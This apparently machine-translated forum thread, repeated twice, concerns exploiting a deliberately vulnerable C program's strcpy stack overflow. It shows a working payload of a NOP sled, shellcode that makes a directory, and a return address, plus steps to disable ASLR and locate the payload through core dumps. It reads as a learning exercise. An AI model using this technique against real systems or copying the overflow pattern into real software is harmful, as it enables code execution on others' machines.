逆向工程(stack-smash)如何找出我输入程序的数据在堆栈中写入的堆栈地址
reverse engineering (stack-smash) how to find out the address of the stack where the data that I entered into the program is written in the stack
所以,我的英语很糟糕,但我会尽力解释清楚我的问题(对此感到抱歉)。
我有一个 С 编程语言的程序:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
程序接受任何行输入。我想在其中输入一个有效载荷,它将在启动该程序的目录中创建一个 TEST 目录。
工作原理:
我 运行 调试器中的一个程序,其字符串包含有效载荷:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
在有效负载中,首先有 233 个“nop”指令,然后是 shell创建“TEST”目录的代码,然后是程序到达“ret”时应该去的地址说明
部分程序代码以指令形式出现在调试器中:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy@plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
因此,“strcpy”函数将我们输入程序的字符串放入堆栈。
然后再执行几条指令。当程序到达“ret”指令时,return 地址在堆栈上。默认情况下,它指向“main”函数中的地址。我希望它指向位于堆栈上的我的有效负载。当程序通过调试器执行时,我可以看到 return 地址在堆栈中的位置,并计算有效负载之前所需的“nop”指令数和所需 return 地址的值。但是当我想在没有调试器的情况下执行程序时该怎么办。我如何找出我的 shell 代码在堆栈中的位置?
我尝试使用我通过调试器在负载中使用的相同 return 地址,但我的 ubuntu 系统报告错误“Segmentation fault (core dumped)”。即return地址与栈的真实地址space不对应,是在运行通过ubuntu终端运行时为本程序分配的。
更新:我查看了这个程序的核心转储。每次我 运行 它通过终端时,堆栈地址都会发生很大变化。以下是我的 shell 代码所在的几个堆栈地址:
0xbfda4161
0xbfc89161
0xbf944161
为什么我已经禁用了动态地址space?
进入 main
时 esp
寄存器的值取决于环境变量和 argv[n]
字符串的大小(除了由内核随机化外,你已经关机了)。
我怀疑在你的情况下,差异是由 argv[0]
引起的,GDB 倾向于将其解析为二进制文件的完整路径名。
你没有告诉我们你是如何在 GDB 之外调用易受攻击的二进制文件的。如果您执行 ./vuln $(python -c ...)
或 vuln $(python -c ...)
之类的操作,请尝试将其 运行 改为 $(realpath ./vuln) $(python -c ...)
—— 这应该与 GDB 中发生的情况相匹配。
我解决了这个问题。
首先,我没有想到每次注销时ASLR关闭设置都是禁用的。
怎么做:
禁用 ASLR。对于 ubuntu 16,我使用了以下命令:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
查看核心转储数据。我使用“coredumpctl”实用程序完成了它。
首先我查看了失败程序列表:coredumpctl list
,在其中找到了我的程序的进程号。
然后去调试器下:coredumpctl gdb your_proc_pid
。
在调试器中,我使用 (gdb) info stack
查看了堆栈地址,找到了我的有效负载在堆栈中的位置:x/90xw 0xstack_address
。
我更改了负载中的地址,现在程序在终端中 运行 时不会中断。
所以,我的英语很糟糕,但我会尽力解释清楚我的问题(对此感到抱歉)。 我有一个 С 编程语言的程序:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
程序接受任何行输入。我想在其中输入一个有效载荷,它将在启动该程序的目录中创建一个 TEST 目录。
工作原理:
我 运行 调试器中的一个程序,其字符串包含有效载荷:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
在有效负载中,首先有 233 个“nop”指令,然后是 shell创建“TEST”目录的代码,然后是程序到达“ret”时应该去的地址说明
部分程序代码以指令形式出现在调试器中:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy@plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
因此,“strcpy”函数将我们输入程序的字符串放入堆栈。 然后再执行几条指令。当程序到达“ret”指令时,return 地址在堆栈上。默认情况下,它指向“main”函数中的地址。我希望它指向位于堆栈上的我的有效负载。当程序通过调试器执行时,我可以看到 return 地址在堆栈中的位置,并计算有效负载之前所需的“nop”指令数和所需 return 地址的值。但是当我想在没有调试器的情况下执行程序时该怎么办。我如何找出我的 shell 代码在堆栈中的位置? 我尝试使用我通过调试器在负载中使用的相同 return 地址,但我的 ubuntu 系统报告错误“Segmentation fault (core dumped)”。即return地址与栈的真实地址space不对应,是在运行通过ubuntu终端运行时为本程序分配的。
更新:我查看了这个程序的核心转储。每次我 运行 它通过终端时,堆栈地址都会发生很大变化。以下是我的 shell 代码所在的几个堆栈地址: 0xbfda4161 0xbfc89161 0xbf944161 为什么我已经禁用了动态地址space?
进入 main
时 esp
寄存器的值取决于环境变量和 argv[n]
字符串的大小(除了由内核随机化外,你已经关机了)。
我怀疑在你的情况下,差异是由 argv[0]
引起的,GDB 倾向于将其解析为二进制文件的完整路径名。
你没有告诉我们你是如何在 GDB 之外调用易受攻击的二进制文件的。如果您执行 ./vuln $(python -c ...)
或 vuln $(python -c ...)
之类的操作,请尝试将其 运行 改为 $(realpath ./vuln) $(python -c ...)
—— 这应该与 GDB 中发生的情况相匹配。
我解决了这个问题。 首先,我没有想到每次注销时ASLR关闭设置都是禁用的。
怎么做:
禁用 ASLR。对于 ubuntu 16,我使用了以下命令:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
查看核心转储数据。我使用“coredumpctl”实用程序完成了它。 首先我查看了失败程序列表:
coredumpctl list
,在其中找到了我的程序的进程号。 然后去调试器下:coredumpctl gdb your_proc_pid
。 在调试器中,我使用(gdb) info stack
查看了堆栈地址,找到了我的有效负载在堆栈中的位置:x/90xw 0xstack_address
。 我更改了负载中的地址,现在程序在终端中 运行 时不会中断。